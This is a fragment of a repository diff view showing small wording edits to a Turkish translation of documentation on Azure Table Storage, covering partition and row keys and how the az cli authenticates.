2. Azure portalında, GitHub erişimini yapılandırarak ve daha önce fork ettiğiniz yeni depoyu seçerek bir Statik Web Uygulaması oluşturun.
|
||||
3. Oluşturun, birkaç dakika bekleyin ve yeni sayfanızı kontrol edin!
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Azure Table Storage**, büyük hacimli yapılandırılmış, ilişkisel olmayan verileri depolamak için tasarlanmış bir NoSQL anahtar-değer deposudur. Yüksek kullanılabilirlik, düşük gecikme süresi ve büyük veri setlerini verimli bir şekilde işlemek için ölçeklenebilirlik sunar. Veriler, her bir varlığın bir bölüm anahtarı ve satır anahtarı ile tanımlandığı tablolara organize edilir, bu da hızlı sorgulama sağlar. Verilerin dinlenme sırasında şifrelenmesi, rol tabanlı erişim kontrolü ve güvenli, yönetilen depolama için paylaşılan erişim imzaları gibi özellikleri destekler; bu da geniş bir uygulama yelpazesi için uygundur.
|
||||
**Azure Table Storage**, büyük hacimli yapılandırılmış, ilişkisel olmayan verileri depolamak için tasarlanmış bir NoSQL anahtar-değer deposudur. Yüksek kullanılabilirlik, düşük gecikme süresi ve büyük veri setlerini verimli bir şekilde işlemek için ölçeklenebilirlik sunar. Veriler, her varlığın bir bölüm anahtarı ve satır anahtarı ile tanımlandığı tablolara organize edilir, bu da hızlı sorgulama sağlar. Verilerin dinlenme sırasında şifrelenmesi, rol tabanlı erişim kontrolü ve güvenli, yönetilen depolama için paylaşılan erişim imzaları gibi özellikleri destekler; bu da geniş bir uygulama yelpazesi için uygundur.
|
||||
|
||||
Tablo depolama için **yerleşik bir yedekleme mekanizması yoktur**.
|
||||
|
||||
@@ -13,7 +13,7 @@ Tablo depolama için **yerleşik bir yedekleme mekanizması yoktur**.
|
||||
#### **PartitionKey**
|
||||
|
||||
- **PartitionKey, varlıkları mantıksal bölümlere gruplar**. Aynı PartitionKey'e sahip varlıklar bir arada depolanır, bu da sorgu performansını ve ölçeklenebilirliği artırır.
|
||||
- Örnek: Bir çalışan verisi depolayan tabloda, `PartitionKey` bir departmanı temsil edebilir, örneğin, `"HR"` veya `"IT"`.
|
||||
- Örnek: Bir çalışan verilerini depolayan bir tabloda, `PartitionKey` bir departmanı temsil edebilir, örneğin, `"HR"` veya `"IT"`.
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
@@ -76,7 +76,7 @@ Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccou
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> Varsayılan olarak `az` cli, bir hesap anahtarını imzalamak ve işlemi gerçekleştirmek için bir hesap anahtarı kullanacaktır. Entra ID anahtar ayrıcalıklarını kullanmak için `--auth-mode login` parametrelerini kullanın.
|
||||
> Varsayılan olarak `az` cli, bir hesap anahtarını imzalamak ve işlemi gerçekleştirmek için bir hesap anahtarı kullanacaktır. Entra ID prensip ayrıcalıklarını kullanmak için `--auth-mode login` parametrelerini kullanın.
|
||||
|
||||
> [!TIP]
|
||||
> Kullanılacak hesap anahtarını belirtmek için `--account-key` parametresini kullanın\
|
||||
|
||||
Reference in New Issue
Block a user